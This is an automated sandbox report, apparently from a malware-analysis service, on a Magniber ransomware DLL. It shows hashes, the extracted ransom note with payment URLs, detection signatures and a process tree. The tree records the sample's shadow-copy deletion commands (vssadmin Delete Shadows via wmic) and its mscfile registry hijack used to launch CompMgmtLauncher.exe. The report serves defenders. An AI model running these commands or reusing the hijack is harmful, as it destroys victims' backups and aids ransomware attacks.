magniber | 553e833cf333ad707a9aa18e01f6d9d4fca8935b92f15c5ddfee379eabcb9efa

Analysis

max time kernel
120s
max time network
171s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
20-12-2023 15:48

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

dd6d5b77ea31de026c8bfb867f14ed70.dll
Size

38KB
MD5

dd6d5b77ea31de026c8bfb867f14ed70
SHA1

7865af12c34f87e095ff70812eb753cf3f944449
SHA256

553e833cf333ad707a9aa18e01f6d9d4fca8935b92f15c5ddfee379eabcb9efa
SHA512

45f361bd370f83d07de54f21ea1beacca8fe98e12a1051f37dc8e690481675d838620d3a2cca107007981b30795afe2240de0ffff58dc3265d8e259c0fe6b220
SSDEEP

768:tpB71V2b/CK1xbFHq4VPQz+oNOOs792CZ9xJS/DR1snrFqJknw/Agw:B1S/CMbFrVPQCoDC2CbxO91qrFqSnw4g

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Pictures\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://0490ce38e86452609fjqzqma.r4vwwgioac7x2ftfglttr7qst265edv6rhmsdmjdgt6wxzuhgx4ynfid.onion/fjqzqma Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://0490ce38e86452609fjqzqma.phoneis.website/fjqzqma http://0490ce38e86452609fjqzqma.donehim.space/fjqzqma http://0490ce38e86452609fjqzqma.lessmod.quest/fjqzqma http://0490ce38e86452609fjqzqma.fixkeys.top/fjqzqma Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://0490ce38e86452609fjqzqma.r4vwwgioac7x2ftfglttr7qst265edv6rhmsdmjdgt6wxzuhgx4ynfid.onion/fjqzqma

http://0490ce38e86452609fjqzqma.phoneis.website/fjqzqma

http://0490ce38e86452609fjqzqma.donehim.space/fjqzqma

http://0490ce38e86452609fjqzqma.lessmod.quest/fjqzqma

http://0490ce38e86452609fjqzqma.fixkeys.top/fjqzqma

Signatures

Detect magniber ransomware 2 IoCs

resource	yara_rule
behavioral1/memory/2724-1-0x0000000001D00000-0x000000000228B000-memory.dmp	family_magniber
behavioral1/memory/1132-15-0x0000000001CA0000-0x0000000001CA5000-memory.dmp	family_magniber

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 12 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1532	964	vssadmin.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	612	964	cmd.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2836	964	vssadmin.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	880	964	vssadmin.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2880	964	cmd.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2968	964	vssadmin.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2172	964	cmd.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2272	964	vssadmin.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1808	964	vssadmin.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1440	964	cmd.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2308	964	vssadmin.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2028	964	vssadmin.exe	37

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Renames multiple (57) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2724 set thread context of 1132	2724	rundll32.exe	18
PID 2724 set thread context of 1228	2724	rundll32.exe	17
PID 2724 set thread context of 1248	2724	rundll32.exe	16

Interacts with shadow copies 2 TTPs 8 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2028	vssadmin.exe
1532	vssadmin.exe
2836	vssadmin.exe
880	vssadmin.exe
2968	vssadmin.exe
2272	vssadmin.exe
1808	vssadmin.exe
2308	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "3"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000429d3af34477a14f8b2dd769173341890000000002000000000010660000000100002000000020f1e9fccb1105964beee3170ad3297b6b9e181fdc3f225530c58be91be47354000000000e80000000020000200000007507ff557c8538ee9667aca53971ba01f13276cc0efbccd8c7f9005ea2b80be69000000040636c3af1f9bd09bd3c133dc3638cbbfbd0320bb102aebc702c96e2c571b12a89ff10856a13c7dece19f01478582d5305f9784e0af62b1a7e6eda0c7d01b76f507c7c7dd2fafde4822f528ff905946812528d410dc5b1cc604c3f06e603a380c5edf8613eff84d3a5d61a8d30193e3fdc714204e05379f6c76a133d656f5926b7b2c87cdf0ee2d917249ceac8627cf34000000046078ab99b6d516ce585b7a6ad2cf8c788c49e18989fd6d9ddf672d09f6d1ee481bf305db1e7d796a40bcd2b3eec43891b1581acf34a6ea266159a28a5c207e4	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{757306E1-A095-11EE-99C0-56B3956C75C7} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = c0d8e64aa234da01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000429d3af34477a14f8b2dd7691733418900000000020000000000106600000001000020000000b581e7ed9b08b3a530e2e96a5b98d4100e5192a0ddcd2665ebb4442e2084dfb8000000000e8000000002000020000000de872a8c1310c0b2dc42848f83f7162326531910975d362ad7f4d61b0f43d8272000000041cd6557165374a7369236c1162dc295fb774997017f512e5c6a80eab264a25d40000000c2316c64b11315e41ba64779177b3eec18289c6824a0a07a69de31c8518089be511bc3045ba5a6fca1db56259f9fbeb598a4c1162783cd71a2b271c823fe13b3	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "409389296"	iexplore.exe

Modifies registry class 11 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000_CLASSES\mscfile\shell\open	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000_CLASSES\mscfile\shell\open\command	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000_CLASSES\mscfile	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000_CLASSES\mscfile\shell	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
2280	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2724	rundll32.exe
2724	rundll32.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
2724	rundll32.exe
2724	rundll32.exe
2724	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1248	Explorer.EXE
Token: SeShutdownPrivilege	1248	Explorer.EXE
Token: SeShutdownPrivilege	1248	Explorer.EXE
Token: SeShutdownPrivilege	1248	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1904	wmic.exe
Token: SeSecurityPrivilege	1904	wmic.exe
Token: SeTakeOwnershipPrivilege	1904	wmic.exe
Token: SeLoadDriverPrivilege	1904	wmic.exe
Token: SeSystemProfilePrivilege	1904	wmic.exe
Token: SeSystemtimePrivilege	1904	wmic.exe
Token: SeProfSingleProcessPrivilege	1904	wmic.exe
Token: SeIncBasePriorityPrivilege	1904	wmic.exe
Token: SeCreatePagefilePrivilege	1904	wmic.exe
Token: SeBackupPrivilege	1904	wmic.exe
Token: SeRestorePrivilege	1904	wmic.exe
Token: SeShutdownPrivilege	1904	wmic.exe
Token: SeDebugPrivilege	1904	wmic.exe
Token: SeSystemEnvironmentPrivilege	1904	wmic.exe
Token: SeRemoteShutdownPrivilege	1904	wmic.exe
Token: SeUndockPrivilege	1904	wmic.exe
Token: SeManageVolumePrivilege	1904	wmic.exe
Token: 33	1904	wmic.exe
Token: 34	1904	wmic.exe
Token: 35	1904	wmic.exe
Token: SeIncreaseQuotaPrivilege	2284	WMIC.exe
Token: SeSecurityPrivilege	2284	WMIC.exe
Token: SeTakeOwnershipPrivilege	2284	WMIC.exe
Token: SeLoadDriverPrivilege	2284	WMIC.exe
Token: SeSystemProfilePrivilege	2284	WMIC.exe
Token: SeSystemtimePrivilege	2284	WMIC.exe
Token: SeProfSingleProcessPrivilege	2284	WMIC.exe
Token: SeIncBasePriorityPrivilege	2284	WMIC.exe
Token: SeCreatePagefilePrivilege	2284	WMIC.exe
Token: SeBackupPrivilege	2284	WMIC.exe
Token: SeRestorePrivilege	2284	WMIC.exe
Token: SeShutdownPrivilege	2284	WMIC.exe
Token: SeDebugPrivilege	2284	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2284	WMIC.exe
Token: SeRemoteShutdownPrivilege	2284	WMIC.exe
Token: SeUndockPrivilege	2284	WMIC.exe
Token: SeManageVolumePrivilege	2284	WMIC.exe
Token: 33	2284	WMIC.exe
Token: 34	2284	WMIC.exe
Token: 35	2284	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1904	wmic.exe
Token: SeSecurityPrivilege	1904	wmic.exe
Token: SeTakeOwnershipPrivilege	1904	wmic.exe
Token: SeLoadDriverPrivilege	1904	wmic.exe
Token: SeSystemProfilePrivilege	1904	wmic.exe
Token: SeSystemtimePrivilege	1904	wmic.exe
Token: SeProfSingleProcessPrivilege	1904	wmic.exe
Token: SeIncBasePriorityPrivilege	1904	wmic.exe
Token: SeCreatePagefilePrivilege	1904	wmic.exe
Token: SeBackupPrivilege	1904	wmic.exe
Token: SeRestorePrivilege	1904	wmic.exe
Token: SeShutdownPrivilege	1904	wmic.exe
Token: SeDebugPrivilege	1904	wmic.exe
Token: SeSystemEnvironmentPrivilege	1904	wmic.exe
Token: SeRemoteShutdownPrivilege	1904	wmic.exe
Token: SeUndockPrivilege	1904	wmic.exe
Token: SeManageVolumePrivilege	1904	wmic.exe
Token: 33	1904	wmic.exe
Token: 34	1904	wmic.exe
Token: 35	1904	wmic.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
1096	iexplore.exe
1248	Explorer.EXE
1248	Explorer.EXE
1248	Explorer.EXE
1248	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1096	iexplore.exe
1096	iexplore.exe
1572	IEXPLORE.EXE
1572	IEXPLORE.EXE
1572	IEXPLORE.EXE
1572	IEXPLORE.EXE

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
1248	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1248 wrote to memory of 2280	1248	Explorer.EXE	29
PID 1248 wrote to memory of 2280	1248	Explorer.EXE	29
PID 1248 wrote to memory of 2280	1248	Explorer.EXE	29
PID 1248 wrote to memory of 3064	1248	Explorer.EXE	30
PID 1248 wrote to memory of 3064	1248	Explorer.EXE	30
PID 1248 wrote to memory of 3064	1248	Explorer.EXE	30
PID 1248 wrote to memory of 1904	1248	Explorer.EXE	35
PID 1248 wrote to memory of 1904	1248	Explorer.EXE	35
PID 1248 wrote to memory of 1904	1248	Explorer.EXE	35
PID 1248 wrote to memory of 2444	1248	Explorer.EXE	32
PID 1248 wrote to memory of 2444	1248	Explorer.EXE	32
PID 1248 wrote to memory of 2444	1248	Explorer.EXE	32
PID 2444 wrote to memory of 2284	2444	cmd.exe	36
PID 2444 wrote to memory of 2284	2444	cmd.exe	36
PID 2444 wrote to memory of 2284	2444	cmd.exe	36
PID 3064 wrote to memory of 1096	3064	cmd.exe	38
PID 3064 wrote to memory of 1096	3064	cmd.exe	38
PID 3064 wrote to memory of 1096	3064	cmd.exe	38
PID 612 wrote to memory of 1824	612	cmd.exe	43
PID 612 wrote to memory of 1824	612	cmd.exe	43
PID 612 wrote to memory of 1824	612	cmd.exe	43
PID 1096 wrote to memory of 1572	1096	iexplore.exe	47
PID 1096 wrote to memory of 1572	1096	iexplore.exe	47
PID 1096 wrote to memory of 1572	1096	iexplore.exe	47
PID 1096 wrote to memory of 1572	1096	iexplore.exe	47
PID 1824 wrote to memory of 2404	1824	CompMgmtLauncher.exe	48
PID 1824 wrote to memory of 2404	1824	CompMgmtLauncher.exe	48
PID 1824 wrote to memory of 2404	1824	CompMgmtLauncher.exe	48
PID 1228 wrote to memory of 2404	1228	Dwm.exe	54
PID 1228 wrote to memory of 2404	1228	Dwm.exe	54
PID 1228 wrote to memory of 2404	1228	Dwm.exe	54
PID 1228 wrote to memory of 2540	1228	Dwm.exe	55
PID 1228 wrote to memory of 2540	1228	Dwm.exe	55
PID 1228 wrote to memory of 2540	1228	Dwm.exe	55
PID 2540 wrote to memory of 2612	2540	cmd.exe	58
PID 2540 wrote to memory of 2612	2540	cmd.exe	58
PID 2540 wrote to memory of 2612	2540	cmd.exe	58
PID 2880 wrote to memory of 232	2880	cmd.exe	63
PID 2880 wrote to memory of 232	2880	cmd.exe	63
PID 2880 wrote to memory of 232	2880	cmd.exe	63
PID 232 wrote to memory of 584	232	CompMgmtLauncher.exe	64
PID 232 wrote to memory of 584	232	CompMgmtLauncher.exe	64
PID 232 wrote to memory of 584	232	CompMgmtLauncher.exe	64
PID 2724 wrote to memory of 1704	2724	rundll32.exe	68
PID 2724 wrote to memory of 1704	2724	rundll32.exe	68
PID 2724 wrote to memory of 1704	2724	rundll32.exe	68
PID 2724 wrote to memory of 1420	2724	rundll32.exe	71
PID 2724 wrote to memory of 1420	2724	rundll32.exe	71
PID 2724 wrote to memory of 1420	2724	rundll32.exe	71
PID 1420 wrote to memory of 2244	1420	cmd.exe	72
PID 1420 wrote to memory of 2244	1420	cmd.exe	72
PID 1420 wrote to memory of 2244	1420	cmd.exe	72
PID 2172 wrote to memory of 1524	2172	cmd.exe	77
PID 2172 wrote to memory of 1524	2172	cmd.exe	77
PID 2172 wrote to memory of 1524	2172	cmd.exe	77
PID 1524 wrote to memory of 440	1524	CompMgmtLauncher.exe	78
PID 1524 wrote to memory of 440	1524	CompMgmtLauncher.exe	78
PID 1524 wrote to memory of 440	1524	CompMgmtLauncher.exe	78
PID 1132 wrote to memory of 1148	1132	taskhost.exe	82
PID 1132 wrote to memory of 1148	1132	taskhost.exe	82
PID 1132 wrote to memory of 1148	1132	taskhost.exe	82
PID 1132 wrote to memory of 2324	1132	taskhost.exe	83
PID 1132 wrote to memory of 2324	1132	taskhost.exe	83
PID 1132 wrote to memory of 2324	1132	taskhost.exe	83

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:1248
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\dd6d5b77ea31de026c8bfb867f14ed70.dll,#1
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2724
- - C:\Windows\system32\wbem\wmic.exe
    C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1704
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1420
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:2244
- C:\Windows\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:2280
- C:\Windows\system32\cmd.exe
  cmd /c "start http://0490ce38e86452609fjqzqma.phoneis.website/fjqzqma^&2^&28521491^&57^&347^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3064
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://0490ce38e86452609fjqzqma.phoneis.website/fjqzqma&2&28521491&57&347&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1096
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1096 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:1572
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2444
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2284
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1904

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1228
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2404
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2540
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:2612

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1132
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:1148
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  PID:2324
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:1744

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1532

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:612
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1824
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2404

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2480

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2836

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:880

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2880
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:232
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:584

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2968

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2172
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1524
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:440

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2272

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1808

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:1440
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2360
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1160

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2308

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

